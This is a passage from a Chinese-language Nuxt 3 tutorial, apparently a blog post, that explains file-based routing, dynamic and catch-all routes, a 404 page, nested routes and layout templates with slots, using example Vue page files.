to=\u0026#34;/about\u0026#34;\u0026gt;前往 About\u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/contact\u0026#34;\u0026gt;前往 Contact\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 接著我們在瀏覽器瀏覽首頁，點擊「前往 About」或「前往 Contact」就可以看見路由導航效果囉！\n使用 \u0026lt;NuxtLink\u0026gt; 時，可以就把它想像為 \u0026lt;router-link\u0026gt; 的替代品，像 to 這個 Pros 控制路由位置的用法基本上一樣，其他更多的 Pros 用法及說明可以參考官網的文件。\n如果想要使用像 Vue Router 提供的 router.push 方法於 Vue 中直接呼叫來導航至其他頁面，在 Nuxt 中你可以使用 navigateTo，參數可以參考官方文件。\n約定式路由中的 index.vue 在開頭有提到，Nuxt 3 提供了一個基於檔案的路由，從上述例子你或許能發現，基本上檔案名稱就是對應著路由名稱，但 index.vue 比較特別，它所對應的是路由 /。\nindex.[ext] 這個效果和特性，其實是與 Node.js 底層核心有關，在此就不贅述。\n舉例來說，我可以在 pages 下建立一個 docs.vue 表示對應路由 /docs，也可以將檔案放置在 docs 目錄下並重新命名為 index.vue 即 ./pages/docs/index.vue，這樣也可以透過 /docs 瀏覽到相同的頁面。\n所以當 index.vue 存在於 pages 目錄下，已經位於網站頁面的第一層，所以我們瀏覽 http://localhost:3000/ 就可以做出首頁的效果。\n帶參數的動態路由匹配 在實務上，我們可能需要將路徑作為參數傳遞給同一個元件，例如，我們有一個 users 頁面元件，在 /users/ryan 或 /users/jennifer 路徑，都能匹配到同一個 users 元件，並將 ryan 或 jennifer 當作參數傳遞給 users 頁面元件使用，那麼我們就需要動態路由來做到這件事。\n在 Vue 3 使用 Vue Router 我們可能會寫出如下路由配置：\n1 2 3 4 5 { name: \u0026#34;users\u0026#34;, path: \u0026#34;/users/:id\u0026#34;, component: \u0026#34;./pages/users.vue\u0026#34;, } 這樣我們就能達到進入 /users/ryan 路由將 ryan 當作 id 參數傳入 users 元件中，路徑參數用冒號 : 表示，這個被匹配的參數 (params)，會在元件中可以使用 useRoute() 與 route.params.id 取得。\n在 Nuxt 3 中，我們要實現這個效果，需要將檔案名稱添加中括號 []，其中放入欲設定的參數名稱，譬如下面的目錄結構與檔案名稱。\n1 2 3 ./pages/ └── users/ └── [id].vue 建立 ./pages/users/[id].vue 檔案，內容如下：\npages/users/[id].vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-3xl text-gray-600\u0026#34;\u0026gt;這裡是 Users 動態路由頁面\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt; 匹配到的 Id: \u0026lt;span class=\u0026#34;text-5xl font-semibold text-blue-600\u0026#34;\u0026gt;{{ id }}\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const route = useRoute() const { id } = route.params \u0026lt;/script\u0026gt; 我們在 script 就可以從 route.params 拿到我們所設定的參數名稱 id，並將其在 template 中渲染出來。瀏覽 http://localhost:3000/users/ryan ，看看效果，Nuxt 3 就能匹配到使用者的 id 參數 ryan，並傳入 users 頁面元件。\n你也可以在 template 直接使用 {{ $route.params.id }} 來渲染出 id 參數。\n匹配所有層級的路由 如果你需要匹配某個頁面下的所有層級的路由，你可以在參數前面加上 ... ，例如，[...slug].vue，這將匹配該路徑下的所有路由。\n建立 ./catch-all/[\u0026hellip;slug].vue 檔案：\n1 2 3 ./pages/ └── catch-all/ └── [...slug].vue ./catch-all/[\u0026hellip;slug].vue 檔案內容如下：\ncatch-all/[\u0026hellip;slug].vue 1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-4xl text-gray-800\u0026#34;\u0026gt;這是 catch-all/... 下的頁面\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-8 text-3xl text-gray-600\u0026#34;\u0026gt;匹配到的 Params:\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;my-4 text-5xl font-semibold text-violet-500\u0026#34;\u0026gt;{{ $route.params.slug }}\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;text-xl text-gray-400\u0026#34;\u0026gt;每個陣列元素對應一個層級\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 我們可以輸入 /catch-all/hello 及 /catch-all/hello/world，路由的參數 slug 就會是一個陣列，陣列的每個元素對應每一個層級。\n建立 404 Not Found 頁面 Nuxt 3 提供一個配置來處理 404 Not Found 的頁面，當我們建立 ./pages/[\u0026hellip;slug].vue 頁面， Nuxt 3 所有未匹配的路由，將會交由這個頁面元件做處理，並同時使用 setResponseStatus(404) 函數設定 404 HTTP Status Code。\npages/[\u0026hellip;slug].vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-8xl font-semibold text-red-500\u0026#34;\u0026gt;404\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-800\u0026#34;\u0026gt;Not Found\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-xl text-gray-800\u0026#34;\u0026gt;真的是找不到這個頁面啦 \u0026gt;///\u0026lt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; setResponseStatus(404) \u0026lt;/script\u0026gt; /omg 這個是不存在的頁面，未匹配的路由就會交由 ./pages/[\u0026hellip;slug].vue 頁面來處理。\n建立多層的目錄結構 如果理解了動態路由的中括號 [] 用法，那我們就可以建立更複雜的頁面目錄結構：\n1 2 3 4 5 6 7 8 ./pages/ └── posts/ ├── [postId]/ │ ├── comments/ │ │ └── [commentId].vue │ └── index.vue ├── index.vue └── top-[number].vue 這四個 Vue 頁面的參考程式碼如下：\npages/posts/index.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-4xl text-gray-600\u0026#34;\u0026gt;這是 Posts 首頁\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;my-4 flex space-x-4\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/posts/8\u0026#34;\u0026gt; 前往指定的文章 \u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/posts/8/comments/1\u0026#34;\u0026gt;前往指定的文章留言\u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/posts/top-3\u0026#34;\u0026gt;前往 Top 3\u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/posts/top-10\u0026#34;\u0026gt;前往 Top 10\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; pages/posts/top-[number].vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-3xl text-gray-600\u0026#34;\u0026gt;這是 posts/top-[number] 的頁面\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt; 匹配到的 Top Number: \u0026lt;span class=\u0026#34;text-5xl font-semibold text-rose-500\u0026#34;\u0026gt;{{ number }}\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const route = useRoute() const { number } = route.params \u0026lt;/script\u0026gt; pages/posts/[postId]/index.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-3xl text-gray-600\u0026#34;\u0026gt;這是 posts/[postId] 的頁面\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt; 匹配到的 Post Id: \u0026lt;span class=\u0026#34;text-5xl font-semibold text-blue-600\u0026#34;\u0026gt;{{ postId }}\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const route = useRoute() const { postId } = route.params \u0026lt;/script\u0026gt; pages/posts/[postId]/comments/[commentId].vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-3xl text-gray-600\u0026#34;\u0026gt;這是 posts/[postId]/comments/[commentId] 的頁面\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt; 匹配到的 Post Id: \u0026lt;span class=\u0026#34;text-5xl font-semibold text-blue-600\u0026#34;\u0026gt;{{ postId }}\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt; 匹配到的 Comment Id: \u0026lt;span class=\u0026#34;text-5xl font-semibold text-purple-400\u0026#34;\u0026gt;{{ commentId }}\u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const route = useRoute() const { postId, commentId } = route.params \u0026lt;/script\u0026gt; 來看看實際路由及匹配效果。\n為了方便理解，整理了以下表格，來表示頁面結構及期望匹配的模式與參數：\n./pages/posts/index.vue：\n匹配模式 匹配路徑 匹配參數 (Params) /posts /posts 無 ./pages/posts/top-[number].vue：\n匹配模式 匹配路徑 匹配參數 (Params) /posts/top-:number /posts/top-3 { number: 3 } /posts/top-:number /posts/top-5 { number: 5 } ./pages/posts/[postId]/index.vue：\n匹配模式 匹配路徑 匹配參數 (Params) /posts/:postId /posts/8 { postId:8 } ./pages/posts/[postId]/comment/[commentId].vue：\n匹配模式 匹配路徑 匹配參數 (Params) /posts/:postId/comments/:commentId /posts/8/comments/1 { postId: 8, commentId: 1 } 到這裡應該對於如何使用檔案名稱與目錄結構，來製作動態路由與匹配參數有一些概念了。\n巢狀路由 (Nested Routes) 巢狀路由 (Nested Routes) 或稱嵌套路由，顧名思義，當我們想要在一個頁面鑲嵌另一個頁面時，就需要巢狀路由來幫助我們。\n例如，我們想要在 docs 頁面元件中顯示 doc-1 或 doc-2 頁面元件，並在切換 doc-1 或 doc-2 頁面時，只是在 docs 下的嵌套頁面進行切換。\n1 2 3 4 5 6 7 8 /docs/doc-1 /docs/doc-2 +------------------+ +-----------------+ | docs | | docs | | +--------------+ | | +-------------+ | | | doc-1 | | +------------\u0026gt; | | doc-2 | | | | | | | | | | | +--------------+ | | +-------------+ | +------------------+ +-----------------+ 在 Vue 3 使用 Vue Router 實作上述巢狀路由時，即 docs 頁面要能顯示 doc-1，我們在路由配置可能就會寫 path: '/docs' 與 children，並在 children 加入 path: '/doc-1'，其中 docs 頁面包含 \u0026lt;router-view /\u0026gt;，最終瀏覽路由路徑 /docs/doc-1 就可以看到嵌套頁面的效果。\n1 2 3 4 5 6 7 8 9 10 { path: \u0026#34;/docs\u0026#34;, component: () =\u0026gt; import(\u0026#34;./pages/docs.vue\u0026#34;) children: [ { path: \u0026#34;doc-1\u0026#34;, component: () =\u0026gt; import(\u0026#34;./pages/docs/doc-1.vue\u0026#34;) } ] } 而在 Nuxt 3 頁面的約定式路由機制下，我們即是透過目錄結構與頁面元件實做出嵌套路由的效果。\n舉例來說，當我們建立了下面的目錄頁面結構：\n這裡需要注意，一定要有 docs.vue 與 docs 同名的目錄\n1 2 3 4 5 ./pages/ ├── docs/ │ ├── doc-1.vue │ └── doc-2.vue └── docs.vue 頁面元件的參考程式碼如下：\npages/docs.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;my-6 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-3xl font-semibold text-gray-800\u0026#34;\u0026gt;這裡是 Docs\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;my-4 flex space-x-4\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/docs/doc-1\u0026#34;\u0026gt;前往 Doc 1\u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/docs/doc-2\u0026#34;\u0026gt;前往 Doc 2\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;border-b-2 border-gray-100\u0026#34; /\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; pages/doc-1.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-blue-500\u0026#34;\u0026gt;這是我的第一份文件\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; pages/doc-2.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-green-500\u0026#34;\u0026gt;這是我的第二份文件\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Nuxt 3 在自動生成路由時，實際上幫我們做出了類似這樣子的路由結構：\n1 2 3 4 5 6 7 8 9 10 11 12 { name: \u0026#34;docs\u0026#34;, path: \u0026#34;/docs\u0026#34;, component: \u0026#34;./pages/docs.vue\u0026#34;, children: [ { name: \u0026#34;docs-first-doc\u0026#34;, path: \u0026#34;doc-1\u0026#34;, component: \u0026#34;./pages/docs/doc-1.vue\u0026#34;, } ] } 一定要記得在 docs 頁面加上 \u0026lt;NuxtPage /\u0026gt;，來作為顯示巢狀頁面的容器，接著分別瀏覽 /docs、/docs/doc-1 與 /docs/doc-2，可以發現在兩個頁面中上方的皆有顯示標題「這裡是 Docs」，該文字是由 docs.vue 元件提供的標題文字，而頁面下方則是 doc-1 與 doc-2 子頁面顯示的地方，以此就可以實現巢狀路由效果囉！\n透過目錄檔案的結構與名稱及中括號 [] 我們就可以完成多數路由的情境，確實方便很多，也足以應付大部分實務上的需求，如果真的需要手動建立路由規則可以在參考官方文檔或等待釋出更好解決方案。\n布局模板 (Layouts) Nuxt 3 提供了一個布局模板 (Layouts) 的功能，可以讓你定義好布局模板後，在整個 Nuxt 中使用，舉例來說就很適合如上方有導覽列，下方是網頁主體內容的這種排版方式，將其構建成一個布局模板後，我們就可以重複使用這種布局方式。\n布局模板通常放置在 ./layouts 目錄之下，也具有異步自動導入的效果，當新增好布局檔案後，我們就可以在 app.vue 中，添加 \u0026lt;NuxtLayout /\u0026gt; 元件來表示使用布局模板，也可以通過 name 設定不同的模板名稱。\n建立一個預設的布局模板 布局模板在 Nuxt 3 中有約定一個名稱為 default.vue 作為預設的模板，如果在頁面元件中未特別指定要使用哪個模板或 \u0026lt;NuxtLayout /\u0026gt; 沒有設定 name 屬性，那麼都將會使用 default 作為預設的布局。\nStep 1. 建立預設布局模板 新增 ./layouts/default.vue 檔案內容如下：\nlayouts/default.vue 1 2 3 4 5 6 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-sky-100 py-2\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;px-6 py-4 text-2xl text-gray-700\u0026#34;\u0026gt;這是預設的布局，全部頁面都會使用到\u0026lt;/p\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在布局模板中，通常會包含一個 \u0026lt;slot /\u0026gt; 插槽，這個未命名的插槽 (slot) 即為預設插槽，這將會是採用這個布局模板的頁面元件，顯示的內容容器位置。\nStep 2. 添加 元件 調整 app.vue 檔案，內容如下，我們添加 \u0026lt;NuxtLayout\u0026gt; 作為布局模板顯示的位置，name 屬性預設是 default，不過我們還是寫上 name=\u0026quot;default\u0026quot; 避免誤會，這個 name 屬性值對應的即是布局模板的名稱。\n下圖可以看見，我們在 app.vue 所寫的文字「這裡是最外層 app.vue」，會是在最外層，而緊接著的 \u0026lt;NuxtLayout name=\u0026quot;default\u0026quot;\u0026gt;\u0026lt;/NuxtLayout\u0026gt;，就是布局頁面 default.vue。\n布局模板中的插槽 如果你有注意到，default.vue 檔案內程式碼內，有一個插槽 \u0026lt;slot /\u0026gt;，這裡就會是 \u0026lt;NuxtLayout\u0026gt; 內的元素所顯示的位置。\n例如，我們在 app.vue 稍作調整：\napp.vue 1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;m-4 bg-white\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;pb-4 text-2xl text-slate-600\u0026#34;\u0026gt;這裡是最外層 app.vue\u0026lt;/p\u0026gt; \u0026lt;NuxtLayout name=\u0026#34;default\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;px-6 pt-4 text-xl text-slate-800\u0026#34;\u0026gt; 被 NuxtLayout 包裹的元件將會放置到 Layout 的 slot 中 \u0026lt;/p\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 被 \u0026lt;NuxtLayout name=\u0026quot;default\u0026quot;\u0026gt; 包裹的元素，就會在布局模板中的插槽 \u0026lt;slot /\u0026gt; 顯示。\n在布局模板中建立多個插槽 當然，你也可以在布局模板中添加多個插槽，並給予名稱，這樣就可以將內容安排到特定的位置。\nStep 1. 建立兩個具名的插槽 (Slot)，分別為 header 與 footer 如果插槽沒有給予 name 屬性，預設為 default。\nlayouts/default.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-sky-100 py-2\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;px-6 py-4 text-2xl text-gray-700\u0026#34;\u0026gt;這是預設的布局，全部頁面都會使用到\u0026lt;/p\u0026gt; \u0026lt;slot name=\u0026#34;header\u0026#34; /\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;slot name=\u0026#34;footer\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Step 2. 將不同內容，顯示於指定的插槽位置。 app.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;m-4 bg-white\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;pb-4 text-2xl text-slate-600\u0026#34;\u0026gt;這裡是最外層 app.vue\u0026lt;/p\u0026gt; \u0026lt;NuxtLayout name=\u0026#34;default\u0026#34;\u0026gt; \u0026lt;template #header\u0026gt; \u0026lt;p class=\u0026#34;px-6 pt-4 text-xl text-green-500\u0026#34;\u0026gt;這段會放置在 header 插槽\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template #default\u0026gt; \u0026lt;p class=\u0026#34;px-6 pt-4 text-xl text-cyan-500\u0026#34;\u0026gt; 被 NuxtLayout 包裹的元件將會放置到 Layout 的預設 slot 中 \u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template #footer\u0026gt; \u0026lt;p class=\u0026#34;px-6 pt-4 text-xl text-blue-500\u0026#34;\u0026gt;這段會放置在 footer 插槽\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 下圖可以看見，我們就可以依此來安排各個元件，於布局模板插槽的所在位置。\n布局模板與路由頁面 當你熟悉了插槽配置，你也可以在其中添加 \u0026lt;NuxtPage /\u0026gt; 與建立 pages 下的頁面元件，以達到不同的路由頁面，使用相同的布局方式。\n如果布局模板結合了路由頁面，整體網站就會如下的巢狀顯示方式，網站的入口點 app.vue 放置布局模板，模板內的內容則使用路由的 \u0026lt;NuxtPage /\u0026gt;，最後各個路由的頁面就會在 \u0026lt;NuxtPage /\u0026gt; 容器中顯示。\n1 2 3 4 5 6 7 8 9 10 11 +---------------------------+ | app.vue | | +-----------------------+ | | | layout | | | | +-------------------+ | | | | | page | | | | | | | | | | | | | | | | | +-------------------+ | | | +-----------------------+ | +---------------------------+ 建立布局模板與路由頁面 Step 1. 調整 app.vue 入口點 將 app.vue 調整為以下內容：\napp.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;m-4 bg-white\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;pb-4 text-2xl text-slate-600\u0026#34;\u0026gt;這裡是最外層 app.vue\u0026lt;/p\u0026gt; \u0026lt;NuxtLayout\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Step 2. 建立路由頁面 建立 ./pages/index.vue，內容如下：\npages/index.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;m-6 bg-slate-50 py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 這樣我們就可以來讓路由頁面共用相同的布局模板。\n多個路由頁面共用預設布局模板 承上，我們建立好預設的布局模板，讓它負責顯示路由的頁面。\nStep 1. 新增路由頁面 新增 ./pages/about.vue，內容如下：\npages/about.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-6 mb-4 bg-slate-50 py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-yellow-400\u0026#34;\u0026gt;大家好！我是 Ryan\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt;這裡是 /about\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 新增 ./pages/contact.vue，內容如下：\npages/contact.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-6 mb-4 bg-slate-50 py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-rose-400\u0026#34;\u0026gt;如果沒事不要找我 xDDD\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt;這裡是 /contact\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Step 2. 新增路由連結 調整 ./pages/index.vue，內容如下：\npages/index.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-6 mb-4 bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-gray-800\u0026#34;\u0026gt;這裡是首頁\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;my-4 flex space-x-4\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/about\u0026#34;\u0026gt;前往 About\u0026lt;/NuxtLink\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/contact\u0026#34;\u0026gt;前往 Contact\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 可以發現，現在首頁 /、/about 與 /contact 都套用上了預設布局。\n建立多個布局模板 你也可以建立多個布局模板，再依據不同的情境，使用不同的布局模板。\nStep 1. 建立新的布局模板 新增 ./layouts/custom.vue，內容如下：\nlayouts/custom.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-rose-100 py-2\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;px-6 py-4 text-2xl text-gray-700\u0026#34;\u0026gt; 使用 \u0026lt;span class=\u0026#34;font-bold text-rose-500\u0026#34;\u0026gt;Custom\u0026lt;/span\u0026gt; 布局 \u0026lt;/p\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Step 2. 新增一個路由頁面 新增 ./pages/custom.vue，內容如下：\npages/custom.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;m-6 bg-slate-50 py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; Step 3. 使用指定布局模板 在 ./pages/custom.vue 中的 script 使用 definePageMeta 方法：\n1 2 3 4 5 \u0026lt;script setup\u0026gt; definePageMeta({ layout: \u0026#39;custom\u0026#39; }) \u0026lt;/script\u0026gt; definePageMeta 方法，提供我們可以設定特定的布局模板，layout 參數值所對應的名稱，即為 ./layouts 目錄下的布局模板。\n注意，布局模板的命名被規範使用 Kebab Case 命名法，若檔案名稱為 customLayout.vue，它將會以 custom-layout 作為 name 屬性傳遞給\n更進階的指定布局模板 我們能使用 layout: false 來禁止使用預設的布局模板，並在 template 添加 \u0026lt;NuxtLayout name=\u0026quot;custom\u0026quot;\u0026gt; 來使用 custom 布局模板。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;template\u0026gt; \u0026lt;NuxtLayout name=\u0026#34;custom\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mx-6 mb-4 bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; definePageMeta({ layout: false }) \u0026lt;/script\u0026gt; 當布局模板可以在 template 中設定使用，我們就能結合插槽甚至動態的調整 name 屬性，做出更多樣靈活的布局效果。\n上圖的參考程式碼：\nlayouts/custom.vue 1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-rose-100 py-2\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;px-6 py-4 text-2xl text-gray-700\u0026#34;\u0026gt; 使用 \u0026lt;span class=\u0026#34;font-bold text-rose-500\u0026#34;\u0026gt;Custom\u0026lt;/span\u0026gt; 布局 \u0026lt;/p\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;slot name=\u0026#34;footer\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; pages/custom.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 